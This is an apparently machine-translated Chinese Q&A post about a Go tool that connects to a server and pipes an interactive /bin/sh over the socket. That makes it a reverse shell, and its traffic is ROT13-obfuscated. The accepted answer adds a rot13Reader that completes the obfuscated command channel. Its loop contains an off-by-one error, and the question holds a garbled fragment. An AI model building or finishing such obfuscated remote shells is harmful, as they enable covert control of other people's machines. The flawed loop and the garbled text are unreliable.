目標:我想捕獲cmd.Stdin的所有字節,并使用此rot13函數處理它們:https://play.golang.org/p/VX2pwaIqhmT故事:我正在編寫一個小工具,該工具將為win / linux進行交叉編譯,所以我試圖使它盡可能簡單。此工具連接到服務器,我可以從中在客戶端上執行命令。由于我必須為cmd.Stdout做同樣的事情,所以我使用了這個:.......conn, err := net.Dial(nObj.Type, nObj.TCPIndirizzo)......cmd := exec.Command(/bin/sh, "-i") // please keep in mind that this is an ***interactive*** //***shell***, and not just a simple command cmd.Stdin = conncmdStdout, err := cmd.StdoutPipe() // works fine if err != nil { fmt.Fprintf(os.Stderr, "error creating shell stdout pipe: %s\n", err)}cmd.Stderr = connerr = cmd.Start() if err != nil { fmt.Fprintf(os.Stderr, "error starting shell: %s\n", err) }.....err = OBFprocessStream(cmdStdout, conn) // works fine....其中OBF處理流函數基于此函數:https://play.golang.org/p/j_TKZWuhGaK。這里一切都很好。所以,我試圖為cmd.Stdin復制同樣的事情:.......conn, err := net.Dial(nObj.Type, nObj.TCPIndirizzo)......cmd := exec.Command(/bin/sh, "-i") cmdStdin, err := cmd.StdinPipe() if err != nil { fmt.Fprintf(os.Stderr, "error creating shell stdin pipe: %s\n", err)}cmdStdout, err := cmd.StdoutPipe() if err != nil { fmt.Fprintf(os.Stderr, "error creating shell stdout pipe: %s\n", err)}cmd.Stderr = connerr = cmd.Start() if err != nil { fmt.Fprintf(os.Stderr, "error starting shell: %s\n", err) }.....err = INOBFprocessStream(cmdStdin, conn).........err = OBFprocessStream(cmdStdout, conn)....但。。cmdStdin是一個Io.Writer關閉器,我真的不知道該怎么做才能捕獲字節sEGIH秒狗hszrhoiò你能幫幫我嗎?
1 回答

胡子哥哥
TA貢獻1825條經驗 獲得超6個贊
因此,您實際上想要的似乎是從中讀取數據,并使用ROT13對其進行過濾,然后將其傳遞給cmd.Stdin
(接受)。conn
io.Reader
而且你已經在實施io了。讀者
:rot13Reader
type rot13Reader struct {
r io.Reader
}
func (r13 *rot13Reader) Read(b []byte) (int, error) {
n, err := r13.r.Read(b)
for i := 0; i <= n; i++ {
b[i] = rot13(b[i])
}
return n, err
}
因此,一個快速的解決方案可以是從中構建一個小的過濾器鏈,如下所示:
cmd.Stdin = &rot13Reader{conn}
- 1 回答
- 0 關注
- 82 瀏覽
添加回答
舉報
0/150
提交
取消